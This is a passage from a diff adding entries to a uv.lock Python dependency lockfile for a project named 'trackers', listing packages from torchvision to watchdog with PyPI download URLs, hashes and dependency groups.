"sha256:0b5e7f50002a8145a98c5694a018e738c50e2972608310c7e88e1bd4c058f6ce", size = 2309331, upload-time = "2026-01-21T16:27:19.97Z" }, + { url = "https://files.pythonhosted.org/packages/90/a5/f93fcffaddd8f12f9e812256830ec9c9ca65abbf1bc369379f9c364d1ff4/torchvision-0.25.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:632db02300e83793812eee4f61ae6a2686dab10b4cfd628b620dc47747aa9d03", size = 8088713, upload-time = "2026-01-21T16:27:15.281Z" }, + { url = "https://files.pythonhosted.org/packages/1f/eb/d0096eed5690d962853213f2ee00d91478dfcb586b62dbbb449fb8abc3a6/torchvision-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:d1abd5ed030c708f5dbf4812ad5f6fbe9384b63c40d6bd79f8df41a4a759a917", size = 4325058, upload-time = "2026-01-21T16:27:26.165Z" }, + { url = "https://files.pythonhosted.org/packages/97/36/96374a4c7ab50dea9787ce987815614ccfe988a42e10ac1a2e3e5b60319a/torchvision-0.25.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ad9a8a5877782944d99186e4502a614770fe906626d76e9cd32446a0ac3075f2", size = 1896207, upload-time = "2026-01-21T16:27:23.383Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e2/7abb10a867db79b226b41da419b63b69c0bd5b82438c4a4ed50e084c552f/torchvision-0.25.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:40a122c3cf4d14b651f095e0f672b688dde78632783fc5cd3d4d5e4f6a828563", size = 2310741, upload-time = "2026-01-21T16:27:18.712Z" }, + { url = "https://files.pythonhosted.org/packages/08/e6/0927784e6ffc340b6676befde1c60260bd51641c9c574b9298d791a9cda4/torchvision-0.25.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:846890161b825b38aa85fc37fb3ba5eea74e7091ff28bab378287111483b6443", size = 8089772, upload-time = "2026-01-21T16:27:14.048Z" }, + { url = "https://files.pythonhosted.org/packages/b6/37/e7ca4ec820d434c0f23f824eb29f0676a0c3e7a118f1514f5b949c3356da/torchvision-0.25.0-cp314-cp314t-win_amd64.whl", hash = "sha256:f07f01d27375ad89d72aa2b3f2180f07da95dd9d2e4c758e015c0acb2da72977", size = 4425879, upload-time = "2026-01-21T16:27:12.579Z" }, +] + +[[package]] +name = "tqdm" +version = "4.67.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a8/4b/29b4ef32e036bb34e4ab51796dd745cdba7ed47ad142a9f4a1eb8e0c744d/tqdm-4.67.1.tar.gz", hash = "sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2", size = 169737, upload-time = "2024-11-24T20:12:22.481Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d0/30/dc54f88dd4a2b5dc8a0279bdd7270e735851848b762aeb1c1184ed1f6b14/tqdm-4.67.1-py3-none-any.whl", hash = "sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2", size = 78540, upload-time = "2024-11-24T20:12:19.698Z" }, +] + +[[package]] +name = "trackers" +version = "2.3.0rc0" +source = { editable = "." } +dependencies = [ + { name = "numpy" }, + { name = "opencv-python" }, + { name = "rich" }, + { name = "scipy" }, + { name = "supervision" }, +] + +[package.optional-dependencies] +detection = [ + { name = "inference-models" }, +] + +[package.dev-dependencies] +build = [ + { name = "build" }, + { name = "twine" }, + { name = "wheel" }, +] +dev = [ + { name = "pre-commit" }, + { name = "pytest" }, + { name = "uv" }, +] +docs = [ + { name = "mike" }, + { name = "mkdocs" }, + { name = "mkdocs-glightbox" }, + { name = "mkdocs-material" }, + { name = "mkdocs-minify-plugin" }, + { name = "mkdocstrings-python" }, +] +mypy-types = [ + { name = "types-aiofiles" }, + { name = "types-requests" }, + { name = "types-tqdm" }, +] + +[package.metadata] +requires-dist = [ + { name = "inference-models", marker = "extra == 'detection'", specifier = ">=0.19.0" }, + { name = "numpy", specifier = ">=2.0.2" }, + { name = "opencv-python", specifier = ">=4.8.0" }, + { name = "rich", specifier = ">=13.0.0" }, + { name = "scipy", specifier = ">=1.13.1" }, + { name = "supervision", specifier = ">=0.26.1" }, +] +provides-extras = ["detection"] + +[package.metadata.requires-dev] +build = [ + { name = "build", specifier = ">=0.10" }, + { name = "twine", specifier = ">=5.1.1" }, + { name = "wheel", specifier = ">=0.40" }, +] +dev = [ + { name = "pre-commit", specifier = ">=4.2.0" }, + { name = "pytest", specifier = ">=8.3.3" }, + { name = "uv", specifier = ">=0.4.20" }, +] +docs = [ + { name = "mike", specifier = ">=2.1.3" }, + { name = "mkdocs", specifier = ">=1.6.1" }, + { name = "mkdocs-glightbox", specifier = ">=0.4.0" }, + { name = "mkdocs-material", specifier = ">=9.6.11" }, + { name = "mkdocs-minify-plugin", specifier = ">=0.8.0" }, + { name = "mkdocstrings-python", specifier = ">=1.10.9,<3.0.0" }, +] +mypy-types = [ + { name = "types-aiofiles", specifier = ">=24.1.0.20250326" }, + { name = "types-requests", specifier = ">=2.32.0.20250328" }, + { name = "types-tqdm", specifier = ">=4.67.0.20250417" }, +] + +[[package]] +name = "transformers" +version = "4.57.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "filelock" }, + { name = "huggingface-hub" }, + { name = "numpy" }, + { name = "packaging" }, + { name = "pyyaml" }, + { name = "regex" }, + { name = "requests" }, + { name = "safetensors" }, + { name = "tokenizers" }, + { name = "tqdm" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c4/35/67252acc1b929dc88b6602e8c4a982e64f31e733b804c14bc24b47da35e6/transformers-4.57.6.tar.gz", hash = "sha256:55e44126ece9dc0a291521b7e5492b572e6ef2766338a610b9ab5afbb70689d3", size = 10134912, upload-time = "2026-01-16T10:38:39.284Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/b8/e484ef633af3887baeeb4b6ad12743363af7cce68ae51e938e00aaa0529d/transformers-4.57.6-py3-none-any.whl", hash = "sha256:4c9e9de11333ddfe5114bc872c9f370509198acf0b87a832a0ab9458e2bd0550", size = 11993498, upload-time = "2026-01-16T10:38:31.289Z" }, +] + +[[package]] +name = "triton" +version = "3.6.0" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8c/f7/f1c9d3424ab199ac53c2da567b859bcddbb9c9e7154805119f8bd95ec36f/triton-3.6.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a6550fae429e0667e397e5de64b332d1e5695b73650ee75a6146e2e902770bea", size = 188105201, upload-time = "2026-01-20T16:00:29.272Z" }, + { url = "https://files.pythonhosted.org/packages/e0/12/b05ba554d2c623bffa59922b94b0775673de251f468a9609bc9e45de95e9/triton-3.6.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8e323d608e3a9bfcc2d9efcc90ceefb764a82b99dea12a86d643c72539ad5d3", size = 188214640, upload-time = "2026-01-20T16:00:35.869Z" }, + { url = "https://files.pythonhosted.org/packages/ab/a8/cdf8b3e4c98132f965f88c2313a4b493266832ad47fb52f23d14d4f86bb5/triton-3.6.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:74caf5e34b66d9f3a429af689c1c7128daba1d8208df60e81106b115c00d6fca", size = 188266850, upload-time = "2026-01-20T16:00:43.041Z" }, + { url = "https://files.pythonhosted.org/packages/f9/0b/37d991d8c130ce81a8728ae3c25b6e60935838e9be1b58791f5997b24a54/triton-3.6.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:10c7f76c6e72d2ef08df639e3d0d30729112f47a56b0c81672edc05ee5116ac9", size = 188289450, upload-time = "2026-01-20T16:00:49.136Z" }, + { url = "https://files.pythonhosted.org/packages/35/f8/9c66bfc55361ec6d0e4040a0337fb5924ceb23de4648b8a81ae9d33b2b38/triton-3.6.0-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d002e07d7180fd65e622134fbd980c9a3d4211fb85224b56a0a0efbd422ab72f", size = 188400296, upload-time = "2026-01-20T16:00:56.042Z" }, + { url = "https://files.pythonhosted.org/packages/df/3d/9e7eee57b37c80cec63322c0231bb6da3cfe535a91d7a4d64896fcb89357/triton-3.6.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a17a5d5985f0ac494ed8a8e54568f092f7057ef60e1b0fa09d3fd1512064e803", size = 188273063, upload-time = "2026-01-20T16:01:07.278Z" }, + { url = "https://files.pythonhosted.org/packages/f6/56/6113c23ff46c00aae423333eb58b3e60bdfe9179d542781955a5e1514cb3/triton-3.6.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:46bd1c1af4b6704e554cad2eeb3b0a6513a980d470ccfa63189737340c7746a7", size = 188397994, upload-time = "2026-01-20T16:01:14.236Z" }, +] + +[[package]] +name = "twine" +version = "6.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "id" }, + { name = "keyring", marker = "platform_machine != 'ppc64le' and platform_machine != 's390x'" }, + { name = "packaging" }, + { name = "readme-renderer" }, + { name = "requests" }, + { name = "requests-toolbelt" }, + { name = "rfc3986" }, + { name = "rich" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e0/a8/949edebe3a82774c1ec34f637f5dd82d1cf22c25e963b7d63771083bbee5/twine-6.2.0.tar.gz", hash = "sha256:e5ed0d2fd70c9959770dce51c8f39c8945c574e18173a7b81802dab51b4b75cf", size = 172262, upload-time = "2025-09-04T15:43:17.255Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3a/7a/882d99539b19b1490cac5d77c67338d126e4122c8276bf640e411650c830/twine-6.2.0-py3-none-any.whl", hash = "sha256:418ebf08ccda9a8caaebe414433b0ba5e25eb5e4a927667122fbe8f829f985d8", size = 42727, upload-time = "2025-09-04T15:43:15.994Z" }, +] + +[[package]] +name = "types-aiofiles" +version = "25.1.0.20251011" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/84/6c/6d23908a8217e36704aa9c79d99a620f2fdd388b66a4b7f72fbc6b6ff6c6/types_aiofiles-25.1.0.20251011.tar.gz", hash = "sha256:1c2b8ab260cb3cd40c15f9d10efdc05a6e1e6b02899304d80dfa0410e028d3ff", size = 14535, upload-time = "2025-10-11T02:44:51.237Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/0f/76917bab27e270bb6c32addd5968d69e558e5b6f7fb4ac4cbfa282996a96/types_aiofiles-25.1.0.20251011-py3-none-any.whl", hash = "sha256:8ff8de7f9d42739d8f0dadcceeb781ce27cd8d8c4152d4a7c52f6b20edb8149c", size = 14338, upload-time = "2025-10-11T02:44:50.054Z" }, +] + +[[package]] +name = "types-requests" +version = "2.32.4.20260107" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0f/f3/a0663907082280664d745929205a89d41dffb29e89a50f753af7d57d0a96/types_requests-2.32.4.20260107.tar.gz", hash = "sha256:018a11ac158f801bfa84857ddec1650750e393df8a004a8a9ae2a9bec6fcb24f", size = 23165, upload-time = "2026-01-07T03:20:54.091Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1c/12/709ea261f2bf91ef0a26a9eed20f2623227a8ed85610c1e54c5805692ecb/types_requests-2.32.4.20260107-py3-none-any.whl", hash = "sha256:b703fe72f8ce5b31ef031264fe9395cac8f46a04661a79f7ed31a80fb308730d", size = 20676, upload-time = "2026-01-07T03:20:52.929Z" }, +] + +[[package]] +name = "types-tqdm" +version = "4.67.3.20260205" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "types-requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/53/46/790b9872523a48163bdda87d47849b4466017640e5259d06eed539340afd/types_tqdm-4.67.3.20260205.tar.gz", hash = "sha256:f3023682d4aa3bbbf908c8c6bb35f35692d319460d9bbd3e646e8852f3dd9f85", size = 17597, upload-time = "2026-02-05T04:03:19.721Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cc/da/7f761868dbaa328392356fab30c18ab90d14cce86b269e7e63328f29d4a3/types_tqdm-4.67.3.20260205-py3-none-any.whl", hash = "sha256:85c31731e81dc3c5cecc34c6c8b2e5166fafa722468f58840c2b5ac6a8c5c173", size = 23894, upload-time = "2026-02-05T04:03:18.48Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "urllib3" +version = "2.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" }, +] + +[[package]] +name = "uv" +version = "0.10.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0d/9a/fe74aa0127cdc26141364e07abf25e5d69b4bf9788758fad9cfecca637aa/uv-0.10.2.tar.gz", hash = "sha256:b5016f038e191cc9ef00e17be802f44363d1b1cc3ef3454d1d76839a4246c10a", size = 3858864, upload-time = "2026-02-10T19:17:51.609Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/b5/aea88f66284d220be56ef748ed5e1bd11d819be14656a38631f4b55bfd48/uv-0.10.2-py3-none-linux_armv6l.whl", hash = "sha256:69e35aa3e91a245b015365e5e6ca383ecf72a07280c6d00c17c9173f2d3b68ab", size = 22215714, upload-time = "2026-02-10T19:17:34.281Z" }, + { url = "https://files.pythonhosted.org/packages/7f/72/947ba7737ae6cd50de61d268781b9e7717caa3b07e18238ffd547f9fc728/uv-0.10.2-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:0b7eef95c36fe92e7aac399c0dce555474432cbfeaaa23975ed83a63923f78fd", size = 21276485, upload-time = "2026-02-10T19:18:15.415Z" }, + { url = "https://files.pythonhosted.org/packages/d3/38/5c3462b927a93be4ccaaa25138926a5fb6c9e1b72884efd7af77e451d82e/uv-0.10.2-py3-none-macosx_11_0_arm64.whl", hash = "sha256:acc08e420abab21de987151059991e3f04bc7f4044d94ca58b5dd547995b4843", size = 20048620, upload-time = "2026-02-10T19:17:26.481Z" }, + { url = "https://files.pythonhosted.org/packages/03/51/d4509b0f5b7740c1af82202e9c69b700d5848b8bd0faa25229e8edd2c19c/uv-0.10.2-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.musllinux_1_1_aarch64.whl", hash = "sha256:aefbcd749ab2ad48bb533ec028607607f7b03be11c83ea152dbb847226cd6285", size = 21870454, upload-time = "2026-02-10T19:17:21.838Z" }, + { url = "https://files.pythonhosted.org/packages/cd/7e/2bcbafcb424bb885817a7e58e6eec9314c190c55935daaafab1858bb82cd/uv-0.10.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.musllinux_1_1_armv7l.whl", hash = "sha256:fad554c38d9988409ceddfac69a465e6e5f925a8b689e7606a395c20bb4d1d78", size = 21839508, upload-time = "2026-02-10T19:17:59.211Z" }, + { url = "https://files.pythonhosted.org/packages/60/08/16df2c1f8ad121a595316b82f6e381447e8974265b2239c9135eb874f33b/uv-0.10.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6dd2dc41043e92b3316d7124a7bf48c2affe7117c93079419146f083df71933c", size = 21841283, upload-time = "2026-02-10T19:17:41.419Z" }, + { url = "https://files.pythonhosted.org/packages/76/27/a869fec4c03af5e43db700fabe208d8ee8dbd56e0ff568ba792788d505cd/uv-0.10.2-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:111c05182c5630ac523764e0ec2e58d7b54eb149dbe517b578993a13c2f71aff", size = 23111967, upload-time = "2026-02-10T19:18:11.764Z" }, + { url = "https://files.pythonhosted.org/packages/2a/4a/fb38515d966acfbd80179e626985aab627898ffd02c70205850d6eb44df1/uv-0.10.2-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:45c3deaba0343fd27ab5385d6b7cde0765df1a15389ee7978b14a51c32895662", size = 23911019, upload-time = "2026-02-10T19:18:26.947Z" }, + { url = "https://files.pythonhosted.org/packages/dd/5f/51bcbb490ddb1dcb06d767f0bde649ad2826686b9e30efa57f8ab2750a1d/uv-0.10.2-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bb2cac4f3be60b64a23d9f035019c30a004d378b563c94f60525c9591665a56b", size = 23030217, upload-time = "2026-02-10T19:17:37.789Z" }, + { url = "https://files.pythonhosted.org/packages/46/69/144f6db851d49aa6f25b040dc5c8c684b8f92df9e8d452c7abc619c6ec23/uv-0.10.2-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:937687df0380d636ceafcb728cf6357f0432588e721892128985417b283c3b54", size = 23036452, upload-time = "2026-02-10T19:18:18.97Z" }, + { url = "https://files.pythonhosted.org/packages/66/29/3c7c4559c9310ed478e3d6c585ee0aad2852dc4d5fb14f4d92a2a12d1728/uv-0.10.2-py3-none-manylinux_2_28_aarch64.whl", hash = "sha256:f90bca8703ae66bccfcfb7313b4b697a496c4d3df662f4a1a2696a6320c47598", size = 21941903, upload-time = "2026-02-10T19:17:30.575Z" }, + { url = "https://files.pythonhosted.org/packages/9a/5a/42883b5ef2ef0b1bc5b70a1da12a6854a929ff824aa8eb1a5571fb27a39b/uv-0.10.2-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:cca026c2e584788e1264879a123bf499dd8f169b9cafac4a2065a416e09d3823", size = 22651571, upload-time = "2026-02-10T19:18:22.74Z" }, + { url = "https://files.pythonhosted.org/packages/e8/b8/e4f1dda1b3b0cc6c8ac06952bfe7bc28893ff016fb87651c8fafc6dfca96/uv-0.10.2-py3-none-musllinux_1_1_i686.whl", hash = "sha256:9f878837938103ee1307ed3ed5d9228118e3932816ab0deb451e7e16dc8ce82a", size = 22321279, upload-time = "2026-02-10T19:17:49.402Z" }, + { url = "https://files.pythonhosted.org/packages/2c/4b/baa16d46469e024846fc1a8aa0cfa63f1f89ad0fd3eaa985359a168c3fb0/uv-0.10.2-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:6ec75cfe638b316b329474aa798c3988e5946ead4d9e977fe4dc6fc2ea3e0b8b", size = 23252208, upload-time = "2026-02-10T19:17:54.46Z" }, + { url = "https://files.pythonhosted.org/packages/d6/84/6a74e5ec2ee90e4314905e6d1d1708d473e06405e492ec38868b42645388/uv-0.10.2-py3-none-win32.whl", hash = "sha256:f7f3c7e09bf53b81f55730a67dd86299158f470dffb2bd279b6432feb198d231", size = 21118543, upload-time = "2026-02-10T19:18:07.296Z" }, + { url = "https://files.pythonhosted.org/packages/dd/f9/e5cc6cf3a578b87004e857274df97d3cdecd8e19e965869b9b67c094c20c/uv-0.10.2-py3-none-win_amd64.whl", hash = "sha256:7b3685aa1da15acbe080b4cba8684afbb6baf11c9b04d4d4b347cc18b7b9cfa0", size = 23620790, upload-time = "2026-02-10T19:17:45.204Z" }, + { url = "https://files.pythonhosted.org/packages/df/7a/99979dc08ae6a65f4f7a44c5066699016c6eecdc4e695b7512c2efb53378/uv-0.10.2-py3-none-win_arm64.whl", hash = "sha256:abdd5b3c6b871b17bf852a90346eb7af881345706554fd082346b000a9393afd", size = 22035199, upload-time = "2026-02-10T19:18:03.679Z" }, +] + +[[package]] +name = "verspec" +version = "0.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/44/8126f9f0c44319b2efc65feaad589cadef4d77ece200ae3c9133d58464d0/verspec-0.1.0.tar.gz", hash = "sha256:c4504ca697b2056cdb4bfa7121461f5a0e81809255b41c03dda4ba823637c01e", size = 27123, upload-time = "2020-11-30T02:24:09.646Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a4/ce/3b6fee91c85626eaf769d617f1be9d2e15c1cca027bbdeb2e0d751469355/verspec-0.1.0-py3-none-any.whl", hash = "sha256:741877d5633cc9464c45a469ae2a31e801e6dbbaa85b9675d481cda100f11c31", size = 19640, upload-time = "2020-11-30T02:24:08.387Z" }, +] + +[[package]] +name = "virtualenv" +version = "20.36.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "distlib" }, + { name = "filelock" }, + { name = "platformdirs" }, + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/aa/a3/4d310fa5f00863544e1d0f4de93bddec248499ccf97d4791bc3122c9d4f3/virtualenv-20.36.1.tar.gz", hash = "sha256:8befb5c81842c641f8ee658481e42641c68b5eab3521d8e092d18320902466ba", size = 6032239, upload-time = "2026-01-09T18:21:01.296Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6a/2a/dc2228b2888f51192c7dc766106cd475f1b768c10caaf9727659726f7391/virtualenv-20.36.1-py3-none-any.whl", hash = "sha256:575a8d6b124ef88f6f51d56d656132389f961062a9177016a50e4f507bbcc19f", size = 6008258, upload-time = "2026-01-09T18:20:59.425Z" }, +] + +[[package]] +name = "watchdog" +version = "6.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" }, + { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" }, + { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" }, + { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" }, + { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" }, + { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" }, + { url = "https://files.pythonhosted.org/packages/39/ea/3930d07dafc9e286ed356a679aa02d777c06e9bfd1164fa7c19c288a5483/watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948", size = 96471, upload-time = "2024-11-01T14:06:37.745Z" }, + { url = "https://files.pythonhosted.org/packages/12/87/48361531f70b1f87928b045df868a9fd4e253d9ae087fa4cf3f7113be363/watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860", size = 88449, upload-time = "2024-11-01T14:06:39.748Z" }, + { url = "https://files.pythonhosted.org/packages/5b/7e/8f322f5e600812e6f9a31b75d242631068ca8f4ef0582dd3ae6e72daecc8/watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0", size = 89054, upload-time = "2024-11-01T14:06:41.009Z" }, + { url = "https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" }, + { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" }, + { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" }, + { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" }, + { url = "https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" }, + { url = 